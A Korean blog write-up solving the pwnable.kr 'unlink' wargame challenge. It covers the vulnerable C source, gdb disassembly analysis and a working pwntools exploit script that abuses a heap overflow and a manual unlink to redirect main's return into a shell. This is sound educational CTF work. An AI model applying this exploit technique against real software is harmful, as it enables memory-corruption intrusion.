[pwnable.kr] unlink(10 pts) :: Write-Up

두비니

·

2020. 10. 2. 16:50

 

 

 


Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

 

음 저는 이문제를 unsafe unlink라고 생각했는데,

뭔가 느낌이 다르더라구요? 제가 요점을 못찾은거일수도 있지만, 일단 봅시다.

 

unlink@pwnable:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn   49 Nov 23  2016 flag
-rw-r----- 1 root unlink_pwn  543 Nov 28  2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23  2016 unlink
-rw-r--r-- 1 root root        749 Nov 23  2016 unlink.c

 

unlink 파일이 주어집니다. 우선 c파일을 확인해봅시다.

 

unlink@pwnable:~$ nl unlink.c
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <string.h>
     4	typedef struct tagOBJ{
     5		struct tagOBJ* fd;
     6		struct tagOBJ* bk;
     7		char buf[8];
     8	}OBJ;
       
     9	void shell(){
    10		system("/bin/sh");
    11	}
       
    12	void unlink(OBJ* P){
    13		OBJ* BK;
    14		OBJ* FD;
    15		BK=P->bk;
    16		FD=P->fd;
    17		FD->bk=BK;
    18		BK->fd=FD;
    19	}
    20	int main(int argc, char* argv[]){
    21		malloc(1024);
    22		OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    23		OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    24		OBJ* C = (OBJ*)malloc(sizeof(OBJ));
       
    25		// double linked list: A <-> B <-> C
    26		A->fd = B;
    27		B->bk = A;
    28		B->fd = C;
    29		C->bk = B;
       
    30		printf("here is stack address leak: %p\n", &A);
    31		printf("here is heap address leak: %p\n", A);
    32		printf("now that you have leaks, get shell!\n");
    33		// heap overflow!
    34		gets(A->buf);
       
    35		// exploit this unlink!
    36		unlink(B);
    37		return 0;
    38	}
       

 

시작하기 전에 코드 몇가지를 봅시다

 

typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

 

우선 수동적인 방법으로 fd와 bk를 구현해놨네요. 아마 unlink알고리즘을 강조하고 싶으니깐 그런거겠죠?

 

	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

 

우선 A, B, C를 수동적으로 링킹합니다.

그럼 일단 다음과 같은 상태겠죠?

다음과 같은 double linked list 상태일겁니다. 

 

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;

 

그 뒤에 A의 stack과 heap주소를 대놓고 주네요. 그 뒤에 gets로 A의 buf에 입력을 받고, unlink를하는데 우리가 알고있는 unlink매크로와 동일하네요. 따라서 정상적인 unlink가 진행된다면 b가 unlink된 다음과 같은 상태가 되겠죠.

뭐 너무 뻔하게도 이 unlink과정을 이용하라고 했으니, 주시하고,

일단 전체적인 로직을 이해하기 위해 브레이크포인트를 걸고 직접 이해해보도록 하겠습니다.

heap상태를 보기 위해서 A의 buf에 gets로 입력을 받은 뒤 breakpoint를 걸어두었습니다.

 

 

일단 A의 buf부분에는 AAAAAAAA를 넣어놨습니다. 주어진 heap주소를 확인해보니깐 다음과 같네요. 0x883b418부터 AA....가 들어간걸 봐서 저부분이 A의 buf부분이고, 앞에 8byte가 각각 A의 fd, bk겠죠?

따라서 순서대로 A(주황색), B(연두색), C(빨간색)의 fd와 bk가 할당된 것을 볼 수 있습니다. 각각 주소를 확인해봐도 서로를 잘 가리키고 있는 것을 확인할 수 있구요.

 

위 내용만 봐도 충분히 알 수 있지만 gets함수로 받고있기때문에 B의 fd와 bk까지 충분히 overflow할 수 있을 것 같습니다.

 

여기서 저는 C의 fd를 exit같은 적당한 함수의 got로 바꾸고, B의 bk를 shell함수의 got를 덮어씌운뒤 실행시킬려고 했습니다.

근데 그러고 보니까 unlink한뒤에 다른 함수를 실행키실 수가 없더라구요? 껄껄껄껄껄ㄲㄹ

 

 

 

 

 

 

 

 

 

 

아무튼 좋은 시도였고,,,

근데 삽질을 하던 도중 재밌는점을 발견했습니다.

 

 

다음은 main함수의 마지막 부분입니다. 보통은 그냥 leave-ret하고 끝나는데 여기는 leave전에는 mov ecx, DWORD PTR [ebp-0x4], ret 전에는 lea esp, [ecx-0x4]를 하고 끝나더라구요?

뭐 찾아보니 main함수의 시작을 16byte단위로 정렬하기 위함이라고 합니다. 근데 뭐.... 그렇대요 잘 모르겠습니다.

 

아무튼 leave 명령어는 mov ebp, esp와 pop ebp이고, ret명령어는 pop eip, jmp eip이므로 우리가 main+212에서 lea esp, [ecx-0x4]를 해놓으면 결국 리턴을 ecx-0x4의 값으로 return한다는 소리입니다.

그리고 main+208를 보면 mov ecx, DWORD PTR [ebp-0x4] 를 하니깐? 결국 ebp를 조작할 수 있으면 우리가 원하는 

물론 제 설명이 부족할 수도 있지만 이게 이해가 안된다면 함수의 에필로그를 한번 보고 옵시다.

 

+) 참고 : 함수의 에필로그 - dokhakdubini.tistory.com/227?category=809542

 

[stack] 함수의 에필로그(epilogue)

함수의 에필로그(epilogue)에 대하여 오늘은 함수의 에필로그라는걸 배울 것입니다. 보통 함수의 프롤로그와 에필로그를 묶어서 설명하는데, 모든 함수의 처음(프롤로그)과 끝(에필로그)에 공통��

dokhakdubini.tistory.com

 

다음 내용은 제가 열심히 삽질한 내용이라 접은글로 남겨둡니다. 그냥 심심한 사람만 아래 더보기 보면 될거같습니다.

더보기

그래서 결국 우리가 할일은 ebp를 조작하는 함수가 있는가? 를 찾는거겠죠?

뭐 unlink함수 쓰라고했으니까 여기있겠지, 하고 unlink함수를 찾아봤습니다. 

 

gdb-peda$ pd unlink
Dump of assembler code for function unlink:
   0x08048504 <+0>:	push   ebp
   0x08048505 <+1>:	mov    ebp,esp
   0x08048507 <+3>:	sub    esp,0x10
   0x0804850a <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x0804850d <+9>:	mov    eax,DWORD PTR [eax+0x4]
   0x08048510 <+12>:	mov    DWORD PTR [ebp-0x4],eax
   0x08048513 <+15>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048516 <+18>:	mov    eax,DWORD PTR [eax]
   0x08048518 <+20>:	mov    DWORD PTR [ebp-0x8],eax
   0x0804851b <+23>:	mov    eax,DWORD PTR [ebp-0x8]
   0x0804851e <+26>:	mov    edx,DWORD PTR [ebp-0x4]
   0x08048521 <+29>:	mov    DWORD PTR [eax+0x4],edx
   0x08048524 <+32>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048527 <+35>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804852a <+38>:	mov    DWORD PTR [eax],edx
   0x0804852c <+40>:	nop
   0x0804852d <+41>:	leave  
   0x0804852e <+42>:	ret    
End of assembler dump.

 

 

보면 unlink + 12부분에서 ebp-0x4에 eax값을 넣어서 조작하는 걸 볼 수 있죠? 그걸 통해서 조작하면 될듯 합니다.

어떤 값을 어디에 넣는지는 솔직히 모르겠어서 그냥 브레이크포인트 걸어놓고 필요한 레지스터들의 값을 모두 확인해봤습니다....노가ㄷㅏ최고.....

 

 

그래서 아무튼 이걸 가지고 알 수 있었던 결과는 

 

gdb-peda$ pd unlink
Dump of assembler code for function unlink:
   0x08048504 <+0>:	push   ebp
   0x08048505 <+1>:	mov    ebp,esp
   0x08048507 <+3>:	sub    esp,0x10
   0x0804850a <+6>:	mov    eax,DWORD PTR [ebp+0x8]		//B의 주소를 eax에
   0x0804850d <+9>:	mov    eax,DWORD PTR [eax+0x4]		//B->bk를 eax에
   0x08048510 <+12>:	mov    DWORD PTR [ebp-0x4],eax		//B->bk를  [ebp-0x4]에
   0x08048513 <+15>:	mov    eax,DWORD PTR [ebp+0x8] 		//B의 주소를 eax에
   0x08048516 <+18>:	mov    eax,DWORD PTR [eax]		//B->fd를 A->fd에
   0x08048518 <+20>:	mov    DWORD PTR [ebp-0x8],eax		//eax의 주소를 [ebp-8]에
   0x0804851b <+23>:	mov    eax,DWORD PTR [ebp-0x8]		//B->fd을 eax에
   0x0804851e <+26>:	mov    edx,DWORD PTR [ebp-0x4]		//B->bk를 edx에
   0x08048521 <+29>:	mov    DWORD PTR [eax+0x4],edx		//B->bk값을 eax+4(원래B->bk)로
   0x08048524 <+32>:	mov    eax,DWORD PTR [ebp-0x4]		//B->bk를 eax에
   0x08048527 <+35>:	mov    edx,DWORD PTR [ebp-0x8]		//B->fd를 edx에
   0x0804852a <+38>:	mov    DWORD PTR [eax],edx		//B->fd를 eax(원래B->fd)에
   0x0804852c <+40>:	nop
   0x0804852d <+41>:	leave  
   0x0804852e <+42>:	ret    
End of assembler dump.

 

ㅖ... 그냥 ni로 직접 어셈이 어떻게 돌아가는지 봐서 유추해서 적어놨습니다. 그래서 틀렸을수도 있습니다. 자유롭게 지적해주세요.

근데 위에 저렇게 해놓은건 전혀 쓸데가 없더라구요?

생각해보면 unlink안에 leave와 ret때문에 ebp esp가 갈아엎힐거 뻔한데 제가 저러고 있었더라구요?

아휴....

그냥 분석한거 아까워서 올려놓은거고,

그냥 마지막 main문 마지막만 확인하면 될거같네요.

 

 

지금 main 마지막에서 레지스터들의 상황이 궁금한거니깐 main 마지막 상황을 봐주면 되겠죠?

 

 

breakpoint는 main+208에 걸었습니다.

보면 알 수 있지만 스택 주소는 0xfff8f524인 반면, ebp-0x4는 0xfff8f534인걸로 봐서 stack주소와 ebp-0x4는 주소 차이가 0x10인것을 알 수 있습니다.

즉, 얻어진 스택 주소+10에 우리가 원하는 값을 넣어주면 되겠죠?

 

아까전에 got overwrite하려던걸 ebp-0x4에 값을 overwrite하는걸로 payload를 바꿔주면 될것같습니다.

 

 

+) 여기서 상당히 비약이 있는 것 같아 조금 더 서술합니다. 아래 서술할 내용은 전체적인 문제풀이에 대한 로직으로, 이해한사람은 넘어가도 좋습니다.

 

더보기

 

일단 1. 왜 ebp-0x4에 값을 넣어야 하는가

 

자. 어셈을 다시한번 볼까요?

 

 

main+208을 통해 ecx에 ebp-0x4의 값이 들어가는걸 확인할 수 있고,

main+212를 통해 ecx-0x4의 값이 esp에 들어가는것을 확인할 수 있습니다.

그다음에 ret를 하는것을 보아, ret는 esp값이 eip에 pop 된 후 jmp하기때문에 결국 ebp-0x4에 

(우리가 원하는 값이 저장된 주소) + 4

를 넣어야 합니다. 일단 이게 첫번째 단계입니다.

 

2. 어떻게 ebp-0x4에 값을 쓸 것인가

 

그럼 최종 목표인 ebp-0x4에 shell함수의 주소가 값을 덮어씌워주면 되는데, 이건 뭐를 이용한다?

unlink를 이용한다!

B->fd에 A의 buf+4주소를 넣고, B->bk에 ebp-0x4의 주소를 넣어준다면, unlink함수를 통해서 ebp-0x4의 주소A의 buf+4의 주소가 들어가겠죠?

물론, buf의 주소에는 shell()의 주소가 들어가 있어야 합니다.

이게 직접 선언해준 함수가 아니라 그냥 unlink 매크로에서도 되는건진 모르겠지만, 아무튼 이문제에서는 되니깐 뭐.... 추가적인 얘기는 맨 마지막에도 써놨으니 참고하시면 될것같습니다.

 

 

막상 써놓으니깐 당연한 얘기네요ㅎㅅㅎ... 

 

 

 

from pwn import *

s = ssh(user='unlink', host='pwnable.kr', port=2222, password='guest')
p = s.process("/home/unlink/unlink")
#p = process("./unlink")

shell = 0x080484eb

print p.recvuntil(": ")
stack = int(p.recv(10), 16)

print p.recvuntil(": ")
heap = int(p.recv(10), 16)

p.recv()

buf = heap + 8

r = p32(shell)
r += "A"*12
r += p32(buf+4)
r += p32(stack+16)	#ebp-0x4

p.sendline(r)

p.interactive()

 

 

뭔가 풀긴 풀었는데 어셈을 통해서 개 어거지로 푼 기분....

이건 나중에 한번 더 복습하고 추가로 서술하도록 하겠습니다. 일단은 그냥 어셈로직때문에 풀리는걸로...

 

 

 

+) 결국 궁금해서 페이로드 넣어서 한줄씩 다 실행시켜봤습니다.

헷갈렸던 부분이 B의 fd와 bk에 OBJ가 아닌 다른 값의 주소를 넣었는데 그 값들의 fd와 bk를 어떻게 찾아낼 것인가에 대해서 궁금했던 건데, 

보니깐 결국 해당 주소의 첫 번째 값을 fd라고, +4된 값을 bk라고 간주했네요. 실제 malloc되었을 때 unlink도 이렇게 처리하는진 모르겠네요. 아무튼 혹시라도 이거때문에 헤맸던 사람들은 도움이 되었으면 좋겠습니다!

으아아ㅏ아아 너무 복잡하잖아 ;-;